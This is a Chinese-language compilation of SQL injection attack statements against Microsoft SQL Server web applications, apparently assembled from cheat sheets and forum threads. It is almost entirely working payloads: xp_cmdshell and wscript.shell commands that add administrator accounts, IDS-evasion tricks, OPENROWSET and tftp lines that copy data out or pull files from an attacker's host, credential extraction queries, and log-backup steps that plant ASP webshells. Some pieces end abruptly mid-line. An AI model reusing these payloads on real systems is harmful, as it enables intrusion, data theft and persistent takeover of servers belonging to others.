sql注入语句大全

sql注入语句大全
--是否存在xp_cmdshell 
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell') 

--用xp_cmdshell执行命令 
;exec master..xp_cmdshell "net user name password /add"-- 
;exec master..xp_cmdshell "net localgroup name administrators /add"-- 

--查看权限 
and (select IS_SRVROLEMEMBER('sysadmin'))=1--  //sa 
and (select IS_MEMBER('db_owner'))=1--   //  dbo 
and (select IS_MEMBER('public'))=1--  //public 

--创建个登陆mssql的帐号 
;exec master.dbo.sp_addlogin name,pass;-- 

--把创建的mssql登陆帐号提升到sysadmin 
;exec master.dbo.sp_addsrvrolemember name,sysadmin;--
有用的扩展 

--获得MS SQL的版本号  //mssql版本 
execute master..sp_msgetversion   // dbo public 

--得到硬盘文件信息             //dbo public 
--参数说明:目录名,目录深度,是否显示文件 //读取磁盘目录和文件 
execute master..xp_dirtree 'c:' //列出所有c:\文件和目录,子目录 
execute master..xp_dirtree 'c:',1 //只列c:\文件夹 
execute master..xp_dirtree 'c:',1,1 //列c:\文件夹加文件 

--列出服务器上所有windows本地组 
execute master..xp_enumgroups //dbo 

--得到当前sql server服务器的计算机名称 //获得计算机名   
execute master..xp_getnetname   //dbo public 

--列出指定目录的所有下一级子目录 
EXEC [master].[dbo].[xp_subdirs] 'c:\WINNT' //可以列目录 

--列出服务器上固定驱动器,以及每个驱动器的可用空间 
execute master..xp_fixeddrives   //dbo public 

--显示系统上可用的盘符 
execute master..xp_availablemedia   //dbo 

--获取某文件的相关属性 
execute master..xp_getfiledetails 'C:1.txt'  //dbo public 

--统计数据库里每个表的详细情况 
exec sp_MSforeachtable 'sp_spaceused ''?''' //查询表 //dbo public 

--获得每个表的记录数和容量 
exec sp_MSforeachtable 'select ''?''','?', 'sp_spaceused ''?''', 'SELECT count(*) FROM ? '  //dbo pubilc 

--更新Table1/Table2中note列为NULL的值 
sp_MSforeachtable 'Update ? Set note='''' Where note is null',null,null,null,' AND o.name in (''Table1'',''Table2'') 

--列出服务器域名 
xp_ntsec_enumdomains //机器名 //dbo public 

--停止或者启动某个服务 
xp_servicecontrol 'stop','schedule' //schedule是服务得名称  //dbo 

--用pid来停止某个执行中的程序 
xp_terminate_process 123 //123是pid //dbo 

--只列某个目录下的子目录 
dbo.xp_subdirs 'C:' //dbo 

--服务器安全模式信息 
xp_loginconfig  //dbo 


xp_regaddmultistring 
xp_regdeletekey 
xp_regdeletevalue 
xp_regenumkeys 
xp_regenumvalues 
xp_regread 
xp_regremovemultistring 
xp_regwrite 

--将新扩展存储过程的名称注册到 Microsoft? SQL Server? 上。 
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' //恢复xp_cmdshell 

恢复过程sp_addextendedproc 如下: 
create procedure sp_addextendedproc --- 1996/08/30 20:13 
@functname nvarchar(517),/* (owner.)name of function to call */ 
@dllname varchar(255)/* name of DLL containing function */ 
as 
set implicit_transactions off 
if @@trancount > 0 
begin 
raiserror(15002,-1,-1,'sp_addextendedproc') 
return (1) 
end 
dbcc addextendedproc( @functname, @dllname) 
return (0) -- sp_addextendedproc 

创建新的 Microsoft? SQL Server? 登录//只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin。 





补丁版本 
   其中的8.00.760就是SQL Server的版本和补丁号。对应关系如下: 


    8.00.194 -——————SQL Server 2000 RTM 
    8.00.384 -——————(SP1) 
    8.00.534 -——————(SP2) 
    8.00.760 -——————(SP3)
在db权限并且分离获取mssql数据库服务器ip的方法 

1.本地nc监听  nc -vvlp 80 

2.;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;', 'select * from dest_table') select * from src_table;-- 

其他的都不用管
xp_cmdshell的删除及恢复 


恢复xp_cmdshell的方法   
删除扩展存储过过程xp_cmdshell的语句   
exec sp_dropextendedproc ’xp_cmdshell’   

恢复cmdshell的sql语句   
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’   

exec master.dbo.addextendedproc ’xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’x’ and   
返回结果为1就ok   

否则需上传c:\inetput\web\xplog70.dll后   
exec master.dbo.sp_addextendedproc ’xp_cmdshell’,’c:\inetput\web\xplog70.dll’;--   

如果是用以下方法删除   
drop procedure sp_addextendedproc   
drop procedure sp_oacreate   
exec sp_dropextendedproc ’xp_cmdshell’   

则可以用以下语句恢复   
dbcc addextendedproc ("sp_oacreate","odsole70.dll")   
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")   
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
去掉tenlnet的ntlm认证 

;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'—
public权限列目录 

提起public权限的用户估计很多人也觉得郁闷了吧~N久以前看了一篇《论在mssql中public和db_owner权限下拿到webshell或是系统权限》的文章(名字真长-_-!!!),里面说到没办法利用xp_regread,xp_dirtree…这些存储过程,原因是public没有办法建表,我在这里矫正一下其实public是可以建表的~呵呵,使这些存储过程能利用上,看下面的代码吧 

--建立一个临时表,一般的表我们是无办法建立的,我们只能建立临时表 

create table ##nonamed( 

      dir ntext, 

      num int 

) 

--调用存储过程把执行回来的数据存到临时表里面 

insert ##nonamed execute master..xp_dirtree 'c:\',1 

--然后采用openrowset函数把临时表的数据导到本地MSSQL 的dirtree表里面了 

insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree') 

select * from ##nonamed 

以上方法,也就是说public可以遍历用户服务器的目录
MSSQL自身存储过程的一个注入 

master..sp_resolve_logins存储过程中,对@dest_path参数过滤不严,导致xp_cmdshell注入。 

分析: 
SELECT @dest_path = RTRIM(LTRIM(@dest_path)) 

-- If the last char is '\', remove it. 
IF substring(@dest_path, len(@dest_path),1) = '\' 
SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1) 

-- Don't do validation if it is a UNC path due to security problem. 
-- If the server is started as a service using local system account, we 
-- don't have access to the UNC path. 
IF substring(@dest_path, 1,2) <> '\\' 
BEGIN 
SELECT @command = 'dir "' + @dest_path + '"' 
exec @retcode = master..xp_cmdshell @command, 'no_output' 
IF @@error <> 0 
RETURN (1) 
IF @retcode <> 0 
BEGIN 
raiserror (14430, 16, -1, @dest_path) 
RETURN (1) 
END 
END 

master..sp_resolve_logins存储过程 在这一段,经过一定的判断,对 @dest_path 进行了一定的过滤。 
但是没有过滤"(双引号)导致了 xp_cmdshell执行任意SQL语句 

测试代码: 
EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp' 
执行上述MSSQL语句,成功添加了一个名为admina的系统帐号 

但是此存储过程代码中经过判断,需要系统systemadmin权限的帐号
Re:沙盒
通常一台MSSQL服务器同时支持Access数据库,所以只要有一个sa或者dbowner的连接(至少对master库具有db_owner权限,默认情况下是没有的),就满足了修改注册表的条件,因为MSSQL有一个名为xp_regwrite的扩展,它的作用是修改注册表的值.语法如下 
exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value 
如果存在一个sa或者dbowner的连接的SQL注入点,就可以构造出如下注入语句InjectionURL;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'--那我们将SandBoxMode开关的注册表值修改为0就成功了.接着连接到一个Access数 据库中,就可以执行系统命令,当然执行系统命令我们只需要一个Access数据库相关Select的注入点或者直接用ASP文件Select调用这个 VBA的shell()函数,但是实际上MSSQL有一个的OpenRowSet函数,它的作用是打开一个特殊的数据库或者连接到另一个数据库之中.当我 们有一个SA权限连接的时候,就可以做到打开Jet引擎连接到一个Access数据库,同时我们搜索系统文件会发现windows系统目录下本身就存在两 个Access数据库,位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\ dnary.mdb,这样一来我们又可以利用OpenRowSet函数构造出如下注入语句:InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select shell("net user ray 123 /ad")');-- 
如果你觉得不大好懂的话,我可以给你做一个简化的理解:1,Access可以调用VBS的函数,以System权限执行任意命令2,Access执行这个命令是有条件的,需要一个开关被打开3,这个开关在注册表里4,SA是有权限写注册表的5,用SA写注册表的权限打开那个开关6,调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令:EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user zyqq 123 /add")');Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 
'group by users.id having 1=1-- 
'group by users.id, users.username, users.password, users.privs having 1=1-- 
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-- 

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'- 
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')- 
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')- 
UNION SELECT TOP 1 login_name FROM logintable- 
UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'-- 

看服务器打的补丁=出错了打了SP4补丁 
and 1=(select @@VERSION)-- 

看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。 
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))-- 

判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) 
and 'sa'=(SELECT System_user)-- 
and user_name()='dbo'-- 
and 0<>(select user_name()-- 

看xp_cmdshell是否删除 
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')-- 

xp_cmdshell被删除,恢复,支持绝对路径的恢复 
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'-- 
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'-- 

反向PING自己实验 
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";-- 

加帐号 
;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add'-- 

创建一个虚拟目录E盘: 
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"'-- 

访问属性:(配合写入一个webshell) 
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse' 

爆库 特殊技巧::%5c='\' 或者把/和\ 修改%5提交 
and 0<>(select top 1 paths from newtable)-- 

得到库名(从1到5都是系统的id,6以上才可以判断) 
and 1=(select name from master.dbo.sysdatabases where dbid=7)-- 
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
依次提交 dbid = 7,8,9.... 得到更多的数据库名 

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。 
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' 
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id 
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id 
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in 
('id',...)) 来暴出其他的字段 
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名 
依次可以得到密码。。。。。假设存在user_id username ,password 等字段 

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address')) 
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值 
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用) 

得到WEB路径 
;create table [dbo].[swap] ([swappass][char](255));-- 
and (select top 1 swappass from swap)=1-- 
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)-- 
;use ku1;-- 
;create table cmd (str image);-- 建立image类型的表cmd 

存在xp_cmdshell的测试过程: 
;exec master..xp_cmdshell 'dir' 
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号 
;exec master.dbo.sp_password null,jiaoniang$,1866574;-- 
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;-- 
;exec master.dbo.xp_cmdshell 'net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 
;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaoniang$ /add';-- 
exec master..xp_servicecontrol 'start', 'schedule' 启动服务 
exec master..xp_servicecontrol 'start', 'server' 
; DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add' 
;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add' 
'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-- 利用TFTP上传文件 

;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\' 
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\' 
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' 
如果被限制则可以。 
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax') 

查询构造: 
SELECT * FROM news WHERE id=... AND topic=... AND ..... 
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>' 
select 123;-- 
;use master;-- 
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。 
and 1<>(select count(email) from [user]);-- 
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';-- 
;update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';-- 
';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';-- 
';update [users] set email=(select top 1 count(id) from password) where name='ffff';-- 
';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';-- 
';update [users] set email=(select top 1 name from password where id=2) where name='ffff';-- 
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 
通过查看ffff的用户资料可得第一个用表叫ad 
然后根据表名ad得到这个表的ID 得到第二个表的名字 

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- 
insert into users values( 667,123,123,0xffff)-- 
insert into users values ( 123, 'admin''--', 'password', 0xffff)-- 
;and user>0 
;and (select count(*) from sysobjects)>0 
;and (select count(*) from mysysobjects)>0 //为access数据库 

枚举出数据表名 
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);-- 
这是将第一个表名更新到aaa的字段处。 
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。 
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');-- 
然后id=1552 and exists(select * from aaa where aaa>5) 
读出第二个表,一个个的读出,直到没有为止。 
读字段是这样: 
;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));-- 
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 
;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));-- 
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] 
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…) 
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] 

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] 
update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件] 

绕过IDS的检测[使用变量] 
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\' 
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\' 

1、 开启远程数据库 
基本语法 
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1' ) 
参数: (1) OLEDB Provider name 
2、 其中连接字符串参数可以是任何端口用来连接,比如 
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;', 'select * from table' 
3.复制目标主机的整个数据库insert所有远程表到本地表。 
基本语法: 
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1') select * from table2 
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如: 
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table1') select * from table2 
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysdatabases') 
sele
Re:log备份的总结
当SQL注入是得到DB权限时候,接下来可以做的工作很多,象找管理员密码,后台管理这些都可以帮助你拿到WEBSHELL,但是这篇文章讲的是log备份,LOG备份出来的小马的体积小,而且备份的成功的可性很大,所以是我作为对DB权限的第一种试探方法. 
但是在LOG备份中,我们经常会遇到一些很让我们头痛的问题,那就是闭合的问题,我在这里做个总结,也 
好让我们对不能闭合的方法有一个全面的了解. 
1.先介绍下LOG备份,这个相信大家都很熟悉了,我还是习惯在IE里直接提交,返回正常的页面就说这一步的操作就成功了,如果没有返回正常的页面,我们就可以根据IE返回的错误来找他的原因.(这里说下要将IE的错误提示给打开),LOG的格式如下所示: 
http://www.site.com/xx.asp?id=xxx;alter database databasename set RECOVERY FULL 
http://www.site.com/xx.asp?id=xxx;create table cmd (a image)-- 
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'c:\cmd' with init 
http://www.site.com/xx.asp?id=xxx;insert into cmd (a) values ('<%%25Execute(request("go"))% 

%25>')-- 
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'x:\xxx\xxx\asp1.asp'-- 
http://www.site.com/xx.asp?id=xxx;drop table cmd-- 

分为6步操作,最容易出错的就是第4步的操作,经常返回没有闭合的问题,下面就是一些我们可以将 
values中的内容可以进行更换的方式,当我们的一种方式不行的话,就可以换另一种方式,当所有的方式 
都换完了,没有什么好说的,要么就放弃,要么就换另一种方式继续,想列目录找数据库下载,后台.这 
里就不多说了,可以提换的内容有: 
a).<%%25Execute(request("go"))%%25> 
b).<%Execute(request("go"))%> 
c).%><%execute request("go")%><% 
d).<script language=VBScript runat=server>execute request("sb")</Script> 
e).<%25Execute(request("l"))%25> 

2.LOG备份要注意的一些问题: 
a).要注意你现在的机器是不是WEB主机,简单的方法就是翻他的目录,看有没有IIS安装的文件 
b).当你确定你要找的确实是WEN主机时,就可以找他的站点目录了,这个也很重要,是步骤5的操作,如果备份到一个错误的目录,当然就没有办法访问了 
c).备份成功后,你就可以试着用客户端去连接,这个地方也有人弄错,现在用的字段是go,你的客户端的 
相关字段也为go 
d).用ececute正常备份出来的是用错误提示的,当你的显示500错误时,请你将的IE错误提示打开,当显示 
Microsoft VBScript 运行时错误 错误 '800a000d' 

类型不匹配: 'execute' 
时候表示你已经成功了,连接吧!! 
e).还有极端的时候你备份出来的一句话被杀(当你确定你确实是备份在WEB主机的对应目录是),你可以将 

上面的VALUES字段中的值做几个大小写转换,一般是没有问题的.. 
------------------------------------------------------------------------ 
今天测试log备份获取WEBSEHLL遇到点问题,首先说下我自己理解通过log备份和差异备份的区别(不对和不完善的请大家指出与补充)。LOG备份得到的WEBSHELL文件小,大大增加了成功率。避免了数据库里有特殊字符备份不成功的情况。今天在测试是没成功,备份出来没有一句话马,功能失去了,也就没有任何意义了。提交上来讨论下错误之处。 
由于是议题讨论。用了真实地址,请勿破坏! 
以下是我的语句: 
引用内容 
;alter database dweb set RECOVERY FULL-- 
;create table cmd (a image)-- 
;backup log dweb to disk = ‘c:\Sammy‘ with init-- 
;insert into cmd (a) values (‘0x3C256576616C20726571756573742822732229253E‘)-- 
;backup log dweb to disk = ‘d:\chen\s2.asp‘-- 

备份结果 
http://www.site.com/s2.asp 
十六进制形式备份出来了! 
我再用如下语句! 引用内容 
;Drop table [cmd]-- 
;alter database dweb set RECOVERY FULL-- 
;create table cmd (a image)-- 
;backup log dweb to disk = ‘c:\Sammy‘ with init-- 
;insert into cmd (a) values (‘<%eval request("s")%>‘)-- 
;backup log dweb to disk = ‘d:\chen\sssjjk.asp‘-- 

如果又如下 
http://www.site.com/sssjjk.asp 

是何原因使LOG备份不成功呢? 


是因为数据表没有写到你备份的数据库当中,导致备份的ASP文件中没有写入我们希望的一句话木马,请在和数据表操作相关的语句中加入数据库名,如:create table dweb.dbo.[cmd] (a image)--,然后再执行备份语句就可以成功了 

呵呵,你把马改成"<%%25Execute(request("s"))%%25>" 来试试.. 

注意,是加个.%25 

问题已解决,把语句换成! 
;insert into cmd (a) values (‘<%%25eval request("s")%%25>‘)-- 
确实能成功!谢谢! 

;insert into cmd (a) values (‘0x3C256576616C20726571756573742822732229253E‘)-- 
楼主的这句是写 字符串 “0x3C256576616C20726571756573742822732229253E”到文件里 而不是木马 
把单引号去掉就可以了 
insert into cmd (a) values (0x3C256576616C20726571756573742822732229253E)-- 

………………………………………………………………………………………………………… 
Blog被人渗透了一下,不知道各位掉了什么东西没有。原来有一次blog的目录可以列出来,那次我掉了一个小东西,然后今天别人告诉我NBSI 3用了那个东西的方法……呵呵,有点晕,就是下面的,成功率还是很高的,大家可以试试看。嗯,方法流出去无所谓,文章留着吧。 

  dbowner通过注射得到一个shell应该不是什么难事情了,比较麻烦的是就算利用增量备份,仍然有很多不确定的因素,如果之前别人有过什么错误的写入信息,可能备份出来得到的还是一些不能用的500错误,如何能够提高成功率及重用性呢?如果单从调整增量备份的方式来看,尽管能够达到一些效果,但是方法比较复杂而且效果不明显。加上关于重用性的考虑,例如多次备份的成功率,backup database的方法并不太适用。这里将要讲述的是另外一个备份的方法,导出日志文件到web目录来获得shell。 

  饭要一口一口的吃,技术问题也要一个一个的解决,得到webshell首先要知道物理路径,然后才能说其他的。关于物理路径的暴露有很多方法,注入也可以得到,这点nbsi2已经做到了,就不再多说。值得注意的是,如果数据库和web分离,这样肯定得不到webshell,备份出来的东西可以覆盖任何文件,一些关于开始菜单的想法还是有效的,只要注意扩展名就好。扯远了,反正如果数据库和web在一块的,你就有机会,反之还是想其他的办法吧。 

  然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情,dbowner足矣,public则不行。当前打开的库名用一个db_name()就可以得到,同样很简单。 

  默认的情况是,一般选择的数据库故障还原类型都是简单,这时候不能够对日志文件进行备份。然而我们都是dbowner了,还有什么不能做的呢,只要修改一下属性就可以。由于不能去企业管理器中修改,只有用一段SQL语句,很简单的,这样就可以: 

  alter database XXXX set RECOVERY FULL 

  其中XXXX是你得到的数据库的名字,执行过后就可以备份日志了。这种修改是破坏性的,因为你不知道以前的故障还原模式是什么,细心的管理员看到异样,可能就要开始起疑心。如果之前你能得到数据库的状态,最好还是在备份完以后把这个数据库的属性改回来。 

  剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和backup database中设定表名为image的问题相对应,如果你只是建立一个之类的表,日志里面的记录还是以松散的格式记录的,也就是< % % >,没有任何效果。通过实际的测试,发现还是可以通过与backup database类似的方式记录进去,如下: 

  create table cmd (a image) 

  insert into cmd (a) values (’’) 

  backup log XXXX to disk = ’c:\xxx\2.asp’ 

  这样你已经得到一个webshell了。 

  到这里就完了么?没有,呵呵,我们继续。 

到这里有两个分支方向,第一个,让注入的时候不出现单引号,太简单了,我都懒得写;第二个,减小这个webshell的长度以及提高成功率。下面的方法就是讨论第二个分支问题的,同样适用于backup database的减小。 

  首先是初始化这个日志。 

  backup log XXXX to disk = ’c:\caonima’ with init 

  这样有点类似于增量备份的第一步,不过有点不同的是,你做了这个以后,你备份出来的可用的shell是固定的。这一点比较重要,因为有了这一步,不管管理员在数据库里面做了什么扰乱你back database的手脚,或者你之前有多少混蛋(你肯定会这么想的)弄了些你不喜欢的东西,都没有关系,甚至你做过以后,别人在后面再按照你的方法来一次,还是会成功,这对于偶尔出现的反复,比如对方机器重装但是数据库和代码没变,有不小的帮助。 

  然后是调整一下backup中各个语句的顺序。通过第一点,大概的步骤已经确定下来了,那就是: 
  引用内容 
  
  alter database XXXX set RECOVERY FULL 

  backup log XXXX to disk = ’c:\Sammy’ with init 

  create table cmd (a image) 

  insert into cmd (a) values (’’) 

  backup log XXXX to disk = ’c:\xxx\2.asp’ 
  
  这样不好,感觉上多了一条没用的东西。 

  create table cmd (a image) 

  确实有点讨厌,不过这句是必要的,只好调整一下位置,弄到其他地方去。调换一下顺序似乎还可以小一点,对于backup database中的增量情况同样是可以的,backup database甚至可以仅仅在update后马上备份,不过由于涉及到了数据的存储格式,情况很复杂,这里不讨论。调整后的是: 
  引用内容 
  alter database XXXX set RECOVERY FULL 

  create table cmd (a image) 

  backup log XXXX to disk = ’c:\Sammy’ with init 

  insert into cmd (a) values (’’) 

  backup log XXXX to disk = ’c:\xxx\2.asp’ 

  成功的话,备份出来的shell(上面的2.asp)有78.5k,文件长度固定的是80,384字节。很挑剔的朋友也可以接受了吧,当然用这个来生成一个干净的木马也可以——这本来就是顶端cs木马的s端,很通用的。
显示所有固定数据库角色的权限。 

EXEC sp_dbfixedrolepermission
Sql注射总结(早源于'or'1'='1) 
  最重要的表名: 
  select * from sysobjects 
  sysobjects ncsysobjects 
  sysindexes tsysindexes 
  syscolumns 
  systypes 
  sysusers 
  sysdatabases 
  sysxlogins 
  sysprocesses 
  最重要的一些用户名(默认sql数据库中存在着的) 
  public 
  dbo 
  guest(一般禁止,或者没权限) 
  db_sercurityadmin 
  ab_dlladmin 
  一些默认扩展 
  xp_regaddmultistring 
  xp_regdeletekey 
  xp_regdeletevalue 
  xp_regenumkeys 
  xp_regenumvalues 
  xp_regread 
  xp_regremovemultistring 
  xp_regwrite 
  xp_availablemedia 驱动器相关 
  xp_dirtree 目录 
  xp_enumdsn ODBC连接 
  xp_loginconfig 服务器安全模式信息 
  xp_makecab 创建压缩卷 
  xp_ntsec_enumdomains domain信息 
  xp_terminate_process 终端进程,给出一个PID 
  例如: 
  sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll' 
  exec xp_webserver 
  sp_dropextendedproc 'xp_webserver' 
  bcp "select * FROM test..foo" queryout c:/inetpub/wwwroot/runcommand.asp -c -Slocalhost -Usa -Pfoobar 
  ' group by users.id having 1=1- 
  ' group by users.id, users.username, users.password, users.privs having 1=1- 
  '; insert into users values( 666, 'attacker', 'foobar', 0xffff )- 
  union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'- 
  union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')- 
  union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')- 
  union select TOP 1 login_name FROM logintable- 
  union select TOP 1 password FROM logintable where login_name='Rahul'-- 
  构造语句:查询是否存在xp_cmdshell 
  ' union select @@version,1,1,1-- 
  and 1=(select @@VERSION) 
  and 'sa'=(select System_user) 
  ' union select ret,1,1,1 from foo-- 
  ' union select min(username),1,1,1 from users where username > 'a'- 
  ' union select min(username),1,1,1 from users where username > 'admin'- 
  ' union select password,1,1,1 from users where username = 'admin'-- 
  and user_name()='dbo' 
  and 0<>(select user_name()- 
  ; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user swap 5245886 /add' 
  and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell') 
